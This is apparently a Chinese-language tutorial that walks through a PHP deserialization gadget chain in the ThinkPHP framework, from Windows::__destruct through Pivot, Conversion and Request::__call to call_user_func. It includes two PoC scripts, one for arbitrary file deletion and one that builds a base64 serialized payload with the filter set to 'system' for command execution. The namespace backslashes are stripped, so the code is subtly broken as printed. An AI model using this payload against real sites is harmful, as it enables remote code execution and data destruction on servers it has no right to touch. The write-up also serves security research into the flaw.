预备知识
反序列化相关知识,了解魔法函数。
反序列化的常见入手点
destruct()、wakeup()、__tostring()–当一个对象被反序列化后又被当作字符串使用时会触发 __toString方法。
反序列化常用跳板
__toString 当一个对象被当做字符串使用 __get 读取不可访问或不存在属性时被调用 __set 当给不可访问或不存在属性赋值时被调用 __isset 对不可访问或不存在的属性调用isset()或empty()时被调用
反序列化常见终点
__call 调用不可访问或不存在的方法时被调用 call_user_func 任意代码执行点 call_user_func_array 任意代码执行点
POC利用链构造分析
当PHP脚本运行结束之前,所有的变量都会被销毁,因此析构方法在类被反序列化并实例化后必然 会被调用。这里也会以destruct为入口,所以我们在全局模式下搜索destruct()
跟踪removeFiles;
我们的files是可控的,我们可以通过这个利用点来造成任意文件删除,源码本身是不存在利用点的, 所以我们要想利用这个漏洞,我们就必须自己构造利用点
然后构造poc链
代码语言:javascript复制<?php
namespace thinkprocesspipes;
class Pipes{
}
class Windows extends Pipes {
private $files = [];
public function __construct()
{
$this->files=['删除文件路径'];
}
}
echo base64_encode(serialize(new Windows()));
?>
这里可以自行测试我们在removeFiles看到了file_exists方法,它会将传入的参数作为字符串处理,会去调用toString方法,所以我们可以在全局下搜索toString跟进到thinkphp/library/think/model/concern/Conversion.php的toString方法跟踪toJson(),发现调用了__toArray方法,主要是将该对象转成JSON字符串,然后继续跟踪到__toArray()方法中我们需要在toArray中找到一个满足可控变量->方法(name为空进入elseif,让this->relation默认为空,而name肯定不存在this->Relation键值中,因此getRelation方法返回值为空,然后去调用getAttr()方法跟踪到thinkphp/library/think/model/concern/Attribute.php
在476行去调用了getData方法,接着跟进getData方法
通过上面的分析我们可以知道name不能为空,所以只能去执行第一个elseif的语句,this->data可控name为其键值。综上分析,toArray方法193行的relation可控为this->data[name为this->append[
认真观察Conversion、Attribute类,发现定义为trait:trait是一种为类似PHP 的单继承语言而准备的 代码复用机制。我们需要找到一个子类同时继承了Attribute类和Conversion类。
但是我们可以看到model类被定义为抽象类,无法进行实例化。又从头整理了一下,理了理思绪,我们现在可控的变量有files data append实例化Pivot类完成下述调用链:file_exists(new Pivot)->Model->Conversion、Attribute->_toString->toJson->toArray->getAttr->
也就是说我们并没有找到可以利用的代码执行点。 此时我们发现我们没有办法去利用visible方法,所以我们要利用到call方法,当调用一个不可访问 的方法(如未定义,或者不可见时), __call()就会被调用,所以我们就要找一个包含call方法,但不存 在visible方法的类
method为不存在的方法名visible ,this->hook为类属性可控,可以进入第一个if分支,在下面的代码中我们看到调用了array_unshift方法,array_unshift() 函数用于向数组插入新元素。新数组的值将被插入到数组的开头,这样一来就造成了call_user_function_array没办法顺利的执行任意命令,但是可以调用任意方法。我们可以去搜索一下call_user_func方法发现在filterValue内存在call_user_func的方法,但是这里的values是不可控的,我们要寻找可以控制的value,所以我们去查找看还有哪些方法调用了FilterValue,看到input方法调用但是此时的
然后看到在948行的this->get(),也就是name还是对象不可控。然后我们找含有param的方法,继续向上追溯看到了isAjax()方法,里面有一个this->config,是完全可控的
this->config[‘var_ajax’]可控就意味着param函数中的name可控就意味着input函数中的name可控,这一部分的利用链_call()->isAjax()->param()->input()->filterValue()
从上面所分析的来看,下面图是整个的POC链构造的流程图
需要注意的点是我们需要自行构造利用点
然后生成payload,进行攻击,可以看到成功执行并打开记事本
POC构造代码
代码语言:javascript复制<?php
namespace thinkprocesspipes;
use thinkmodelconcernConversion;
use thinkmodelPivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["aa"=>["ww","ww"]];
$this->data = ["aa"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
'var_ajax' => '_ajax',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>''];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace thinkmodel;
use thinkModel;
class Pivot extends Model
{
}
use thinkprocesspipesWindows;
echo base64_encode(serialize(new Windows()));
?>